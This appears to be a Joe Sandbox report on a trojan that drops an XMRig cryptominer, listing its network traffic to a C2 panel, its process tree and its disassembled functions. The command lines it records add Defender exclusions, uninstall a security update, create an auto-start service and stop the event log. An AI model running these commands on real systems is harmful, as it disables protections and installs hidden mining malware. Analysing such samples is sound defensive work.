Sep 5, 2024 16:25:08.180952072 CEST	267	IN	HTTP/1.1 200 OK Date: Thu, 05 Sep 2024 14:25:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Robots-Tag: noindex, nofollow X-Powered-By: PHP/8.2.12 Content-Length: 17 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 22 3a 22 6f 6b 22 7d Data Ascii: {"response":"ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	195.10.205.253	80	3920	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 16:26:06.441839933 CEST	180	OUT	POST /panel/api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 497 Content-Type: application/json Host: 195.10.205.253 User-Agent: cpp-httplib/0.12.6
Sep 5, 2024 16:26:06.446628094 CEST	497	OUT	Data Raw: 7b 22 69 64 22 3a 22 6d 63 71 71 61 6a 75 6f 69 62 6c 68 6e 7a 75 68 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 32 32 36 35 33 33 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 59 46 56 39 54 54 Data Ascii: {"id":"mcqqajuoiblhnzuh","computername":"226533","username":"SYSTEM","gpu":"YFV9TT","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"Running as System","
Sep 5, 2024 16:26:07.212920904 CEST	251	IN	HTTP/1.1 200 OK Date: Thu, 05 Sep 2024 14:26:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Robots-Tag: noindex, nofollow X-Powered-By: PHP/8.2.12 Content-Length: 2 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 7d Data Ascii: {}

Target ID:	0
Start time:	10:24:58
Start date:	05/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe"
Imagebase:	0x7ff7ca380000
File size:	2'625'536 bytes
MD5 hash:	6424419AC4C6F0A24C95233E527C1E8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:24:58
Start date:	05/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:24:58
Start date:	05/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff632c80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "PHVUTTIO"
Imagebase:	0x7ff7e8910000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff71fe40000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "PHVUTTIO" binpath= "C:\ProgramData\utblsmnncewd\bbecxurdegum.exe" start= "auto"
Imagebase:	0x7ff7e8910000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff7e8910000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "PHVUTTIO"
Imagebase:	0x7ff7e8910000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\ProgramData\utblsmnncewd\bbecxurdegum.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\utblsmnncewd\bbecxurdegum.exe
Imagebase:	0x7ff7794e0000
File size:	2'625'536 bytes
MD5 hash:	6424419AC4C6F0A24C95233E527C1E8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 76%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6404, Parent PID: 6788

General

Target ID:	18
Start time:	10:25:02
Start date:	05/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:25:05
Start date:	05/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff632c80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6056, Parent PID: 5248

General

Target ID:	20
Start time:	10:25:05
Start date:	05/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	10:25:05
Start date:	05/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:25:05
Start date:	05/09/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff71fe40000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:25:05
Start date:	05/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	svchost.exe
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	10:25:40
Start date:	05/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.6%
Total number of Nodes:	1675
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF7CA381160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF7CA381156), ref: 00007FF7CA3811A5
_amsg_exit.MSVCRT ref: 00007FF7CA3811CC
_initterm.MSVCRT ref: 00007FF7CA38120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7CA381156), ref: 00007FF7CA38124E
malloc.MSVCRT(?,?,?,00007FF7CA381156), ref: 00007FF7CA38127E
strlen.MSVCRT ref: 00007FF7CA3812A4
malloc.MSVCRT(?,?,?,00007FF7CA381156), ref: 00007FF7CA3812B0
memcpy.MSVCRT ref: 00007FF7CA3812C3
_cexit.MSVCRT ref: 00007FF7CA38132D

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 1f0c5cd89db2a0e226b3a7e11c31de7610b439b18b75d8784ee5a5e0c905799d
Instruction ID: a39dcb9011f5d0c924c79cde526af56cdb59a10207c520b0bf4bd23e25d40d45
Opcode Fuzzy Hash: 1f0c5cd89db2a0e226b3a7e11c31de7610b439b18b75d8784ee5a5e0c905799d
Instruction Fuzzy Hash: 0E515971E1960685FB11BF25F974379E3A2AF44BA2FC050BBD94E473A1DF2CA4818360

Function 00007FF7CA381394 Relevance: 1.5, APIs: 1, Instructions: 24
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemoryEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA381156), ref: 00007FF7CA3813F7

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6acfa36f2e860ca0d1eeb73f57069e439c4ee3338a0405080f720feb056bc57f
Instruction ID: 4907cf57e76f3643faed06437c9b3f42fba6536f4c7fb4a1cff3450b31d58e92
Opcode Fuzzy Hash: 6acfa36f2e860ca0d1eeb73f57069e439c4ee3338a0405080f720feb056bc57f
Instruction Fuzzy Hash: 07F0C9B1D08B458AE610EF51F87006AF761FB48391B51487AEA9C47725CF3CE1509B60

Non-executed Functions

Function 00007FF7CA383B50 Relevance: 117.5, APIs: 65, Strings: 1, Instructions: 1952COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF7CA383C75
memset.MSVCRT ref: 00007FF7CA383D9D
wcscat.MSVCRT ref: 00007FF7CA383DAD
memset.MSVCRT ref: 00007FF7CA383DC1
wcslen.MSVCRT ref: 00007FF7CA383E2A
_wcsnicmp.MSVCRT ref: 00007FF7CA383E59
wcslen.MSVCRT ref: 00007FF7CA383E69
wcscpy.MSVCRT ref: 00007FF7CA383EEA
wcscat.MSVCRT ref: 00007FF7CA383EF9
memset.MSVCRT ref: 00007FF7CA383F0A
wcscpy.MSVCRT ref: 00007FF7CA384032
wcscat.MSVCRT ref: 00007FF7CA384041
memset.MSVCRT ref: 00007FF7CA38405E
wcslen.MSVCRT ref: 00007FF7CA3840DC
_wcsnicmp.MSVCRT ref: 00007FF7CA384109
wcslen.MSVCRT ref: 00007FF7CA384119
wcscpy.MSVCRT ref: 00007FF7CA3843B0
wcscat.MSVCRT ref: 00007FF7CA3843BF
_wcsicmp.MSVCRT ref: 00007FF7CA3843CE
memset.MSVCRT ref: 00007FF7CA3843FF
wcscpy.MSVCRT ref: 00007FF7CA384467
wcscat.MSVCRT ref: 00007FF7CA384476
memset.MSVCRT ref: 00007FF7CA38448A
wcscpy.MSVCRT ref: 00007FF7CA384512
wcscat.MSVCRT ref: 00007FF7CA384521
memset.MSVCRT ref: 00007FF7CA384535
wcscpy.MSVCRT ref: 00007FF7CA384588
wcscat.MSVCRT ref: 00007FF7CA384597

Part of subcall function 00007FF7CA382DF0: memset.MSVCRT ref: 00007FF7CA382E1D

memset.MSVCRT ref: 00007FF7CA38487B
wcscpy.MSVCRT ref: 00007FF7CA3848E1
wcscat.MSVCRT ref: 00007FF7CA3848F0
memset.MSVCRT ref: 00007FF7CA384907
wcscpy.MSVCRT ref: 00007FF7CA384966
wcscat.MSVCRT ref: 00007FF7CA384975
wcslen.MSVCRT ref: 00007FF7CA384988
wcslen.MSVCRT ref: 00007FF7CA384B78
wcslen.MSVCRT ref: 00007FF7CA384CDD
wcslen.MSVCRT ref: 00007FF7CA384E8B
memset.MSVCRT ref: 00007FF7CA384F17
wcslen.MSVCRT ref: 00007FF7CA384F8E
_wcsnicmp.MSVCRT ref: 00007FF7CA385001
_wcsicmp.MSVCRT ref: 00007FF7CA3851C5
memset.MSVCRT ref: 00007FF7CA3851E4
wcscpy.MSVCRT ref: 00007FF7CA385245
wcscat.MSVCRT ref: 00007FF7CA385254
wcslen.MSVCRT ref: 00007FF7CA385267
wcslen.MSVCRT ref: 00007FF7CA38561E
wcslen.MSVCRT ref: 00007FF7CA3857A0
_wcsnicmp.MSVCRT ref: 00007FF7CA3857C9
wcslen.MSVCRT ref: 00007FF7CA3857D9
wcslen.MSVCRT ref: 00007FF7CA385858
memset.MSVCRT ref: 00007FF7CA38596B
wcscpy.MSVCRT ref: 00007FF7CA385976
wcscat.MSVCRT ref: 00007FF7CA385985
memset.MSVCRT ref: 00007FF7CA385A05
wcslen.MSVCRT ref: 00007FF7CA385A6E
_wcsnicmp.MSVCRT ref: 00007FF7CA385A99
wcslen.MSVCRT ref: 00007FF7CA385AA5
wcscat.MSVCRT ref: 00007FF7CA385ACB
memset.MSVCRT ref: 00007FF7CA385ADF
wcscpy.MSVCRT ref: 00007FF7CA385B68
wcscat.MSVCRT ref: 00007FF7CA385B77
wcslen.MSVCRT ref: 00007FF7CA385D84
memcpy.MSVCRT ref: 00007FF7CA3861BC
memcpy.MSVCRT ref: 00007FF7CA3867E1

Strings

, xrefs: 00007FF7CA3852D6

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: wcslen$memset$wcscat$wcscpy$_wcsnicmp$_wcsicmpmemcpy
String ID:
API String ID: 3717256989-3916222277
Opcode ID: 8b30a7c2fa03572f7017c693f09e2e7eb4b4b66fd28fd6161ca957621421bddb
Instruction ID: d54c9cea7f032a0ba10370bf633b684b5ad98a7d45e8699f3159bcb59a7a9e3c
Opcode Fuzzy Hash: 8b30a7c2fa03572f7017c693f09e2e7eb4b4b66fd28fd6161ca957621421bddb
Instruction Fuzzy Hash: 9143A561C1C6C284F311AF28B8753F4E361BF957A6F8452B6D9CD265A1EF6C62C4C328

Function 00007FF7CA383350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7CA3833B2
memset.MSVCRT ref: 00007FF7CA383445
wcscpy.MSVCRT ref: 00007FF7CA38349D
wcscat.MSVCRT ref: 00007FF7CA3834A8
wcslen.MSVCRT ref: 00007FF7CA3834B9
memset.MSVCRT ref: 00007FF7CA3835D4
wcscpy.MSVCRT ref: 00007FF7CA383635
wcscat.MSVCRT ref: 00007FF7CA383640
wcslen.MSVCRT ref: 00007FF7CA383654

Strings

, xrefs: 00007FF7CA3836DD
@, xrefs: 00007FF7CA3834F1
@, xrefs: 00007FF7CA383698
0, xrefs: 00007FF7CA38368D
0, xrefs: 00007FF7CA3834E6

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 8bf03da8fde18c3f48384b70ec27093f30c1343604dedd7ca0a9661a927418a4
Instruction ID: ad8d79dcf2593657f6e65554f200210ee74325ff3f7bfd424955df98a4f9ba06
Opcode Fuzzy Hash: 8bf03da8fde18c3f48384b70ec27093f30c1343604dedd7ca0a9661a927418a4
Instruction Fuzzy Hash: EDB18C6190C6C285F321AF24F4253AAB7A0FF80795F80027AEACD57AA5DF7DD185CB14

Function 00007FF7CA382690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF7CA382795
memset.MSVCRT ref: 00007FF7CA382865
wcscpy.MSVCRT ref: 00007FF7CA3828CE
wcscat.MSVCRT ref: 00007FF7CA3828D9
wcslen.MSVCRT ref: 00007FF7CA3828E1
wcslen.MSVCRT ref: 00007FF7CA3828F6
wcslen.MSVCRT ref: 00007FF7CA38296D
wcslen.MSVCRT ref: 00007FF7CA3829E8

Strings

`, xrefs: 00007FF7CA382B91
X, xrefs: 00007FF7CA382B79
0, xrefs: 00007FF7CA38279A

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 01488000d68a8ab59d04e6865e1b22ecddd291ab305485b4cbbe7ecfcb7ac9ad
Instruction ID: 40f4fc515e12870965988a3c165de9972851add93d8be98ed821ac8071b42a5f
Opcode Fuzzy Hash: 01488000d68a8ab59d04e6865e1b22ecddd291ab305485b4cbbe7ecfcb7ac9ad
Instruction Fuzzy Hash: D002A362908B8185F720AF15F8243AAB7A1FB847A5F80427ADAED137E5DF3CD185C714

Function 00007FF7CA381BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF7CA3893E8,00007FF7CA3893E8,?,?,00007FF7CA380000,?,00007FF7CA381991), ref: 00007FF7CA381C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF7CA3893E8,00007FF7CA3893E8,?,?,00007FF7CA380000,?,00007FF7CA381991), ref: 00007FF7CA381CC7
memcpy.MSVCRT ref: 00007FF7CA381CE0
GetLastError.KERNEL32(?,?,?,?,00007FF7CA3893E8,00007FF7CA3893E8,?,?,00007FF7CA380000,?,00007FF7CA381991), ref: 00007FF7CA381D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF7CA381D17
Address %p has no image-section, xrefs: 00007FF7CA381CF4
VirtualProtect failed with code 0x%x, xrefs: 00007FF7CA381D29

Memory Dump Source

Source File: 00000000.00000002.2109317567.00007FF7CA381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CA380000, based on PE: true

Associated: 00000000.00000002.2109294663.00007FF7CA380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109362540.00007FF7CA388000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109384729.00007FF7CA38A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109403004.00007FF7CA38B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109649849.00007FF7CA601000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2109665454.00007FF7CA603000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ca380000_SecuriteInfo.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 716313809d7e085c12c1575cdce3c3800b6d9d2193e088841cc148fe0cd95883
Instruction ID: f3e97e30142c4b0c81d3506f576d5e139eb50d2abc3464a32cc5f3ffe6e0eaa8
Opcode Fuzzy Hash: 716313809d7e085c12c1575cdce3c3800b6d9d2193e088841cc148fe0cd95883
Instruction Fuzzy Hash: 1A41B371A09A4691FA20AF41F4746B8A7A1FB44FE2F9441BBDD1E43391DE3CE585C320

Function 00007FF7CA382104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7CA382118
